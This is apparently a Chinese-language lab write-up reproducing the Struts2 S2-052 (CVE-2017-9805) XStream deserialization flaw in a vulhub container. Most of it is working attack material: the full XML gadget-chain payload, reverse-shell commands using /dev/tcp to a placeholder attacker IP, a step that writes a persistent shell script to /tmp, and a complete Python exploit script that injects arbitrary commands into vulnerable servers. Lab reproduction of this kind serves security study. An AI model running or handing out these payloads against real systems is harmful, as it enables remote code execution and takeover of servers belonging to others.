影响范围

  • Struts 2.1.2 - 2.3.33
  • Struts 2.5 - 2.5.12

漏洞类型

XML 反序列化

操作系统限制

配置要求

默认配置

漏洞利用

写入敏感文件,反弹 shell 获取服务器权限

利用原理

Struts2 框架对外部组件 XStream 插件默认使用 XStream 处理 XML 格式数据,可以将几乎任何 XML 标签映射为 Java 对象,攻击者在 Java 运行库寻找可以执行系统命令的类,由于 XStream 没有限制,攻击者可以构造特殊的 XML,包含触发点、执行链、敏感命令

漏洞复现

用现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/struts2/s2-052
#拉取镜像
docker-compose up -d

1773318334045

访问 http://公网: 8080/orders

1773318367866

用 burpsuite 抓取 http://公网: 8080/orders/3/edit 数据包

1773318416813

发送到 Repeater 模块

1773318465536

注入恶意 XML 代码,修改请求头,然后发送

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#请求头改Content-Type: application/xml
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/ailx10</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

1773318516585

返回 500,说明 xml 代码成功发送到服务器

1773318595160

进入容器内部查看 tmp 文件夹下的文件,发现能成功写入文件 ailx10,说明 xml 恶意代码被执行

1773318637744

攻击机开启监听

1773318680201

wget 下载攻击脚本,python3 直接写入下面的兼容代码

1
2
#从gitub拉取脚本,脚本用python2运行
wget https://raw.githubusercontent.com/chrisjd20/cve-2017-9805.py/master/cve-2017-9805.py

运行脚本,这里环境是 python3,即用 python3 演示,参数是一样的

1
python3 cve-2017-9805_py3.py -u http://靶机ip:8080/orders/3 -c "bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1"

1773318733290

虽然能连上,但是不稳定

1773318791674

可以写入 sh 脚本进靶机,再连接

1
2
3
4
5
6
#写入sh脚本
printf 'bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1' > /tmp/shell.sh
#给sh脚本赋权,可执行
chmod +x /tmp/shell.sh
#运行反弹shell脚本
/bin/bash /tmp/shell.sh

1773318935215

成功建立持久化连接

1773318862330

攻击脚本(https://github.com/chrisjd20/cve-2017-9805.py/blob/master/cve-2017-9805.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#python3兼容脚本,cve-2017-9805.py
#!/usr/bin/env python3
import requests
import argparse
import base64
import sys
import random
import re
from xml.dom.minidom import parseString

random_string = lambda num: ''.join(random.choice("QWERTYUIOPASDFGHJKLXZCVBNMqwertyuiopasdfghjklzxcvbnm1234567890") for _ in range(num))

# iterates over the elements in the template XML object and replaces with desired commands
def get_item_list(itemlist, encoded_command, the_match):
for item in itemlist:
for item2 in item.childNodes:
if item2.nodeValue == the_match:
item2.nodeValue = encoded_command

def main(url, command):
filename = "." + random_string(20) + '.tmp'
print('[+] Encoding Command')

# Python 3 base64 logic: encode string to bytes, then b64encode, then back to string
b64_command = base64.b64encode(command.encode('utf-8')).decode('utf-8')

# Construct the shell command that will be placed inside XML
# Using tee -a to write the decoded command to a file, then execute it
encoded_command = f'echo {b64_command} | base64 -d | tee -a /tmp/{filename} ; /bin/bash /tmp/{filename} ; /bin/rm /tmp/{filename}'

print('[+] Building XML object')
# The XML payload (ImageIO exploit chain)
payload_xml = (
'<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags>'
'<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">'
'<dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">'
'<is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher">'
'<initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator">'
'<iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/>'
'<next class="java.lang.ProcessBuilder"><command><string>/bin/bash</string><string>-c</string>'
'<string>COMMANDWILLGOHERE</string></command><redirectErrorStream>false</redirectErrorStream></next></iter>'
'<filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class>'
'<name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next>'
'</serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/>'
'<ibuffer/><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is>'
'<consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value>'
'</jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>'
'</entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>'
'<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>'
)

xml_exploit = parseString(payload_xml)
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
'Content-Type': 'application/xml'
}

itemlist = xml_exploit.getElementsByTagName('string')
print('[+] Placing command in XML object')
get_item_list(itemlist, encoded_command, "COMMANDWILLGOHERE")

print('[+] Converting Back to String')
# Convert back to bytes for the request
exploit_data = xml_exploit.toxml(encoding='utf-8')

print('[+] Making Post Request with our payload')
try:
response = requests.post(url, data=exploit_data, headers=header, timeout=15)
print(f'[+] Server returned status code: {response.status_code}')
print('[+] Payload sent.')
except Exception as e:
print(f'[-] Error: {e}')

if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2017-9805 Struts RCE Exploit")
parser.add_argument('-u', '--url', type=str, required=True, help='Target URL (e.g. http://ip:8080/orders/3)')
parser.add_argument('-c', '--command', type=str, required=True, help='Command to execute')

args = parser.parse_args()
main(args.url, args.command)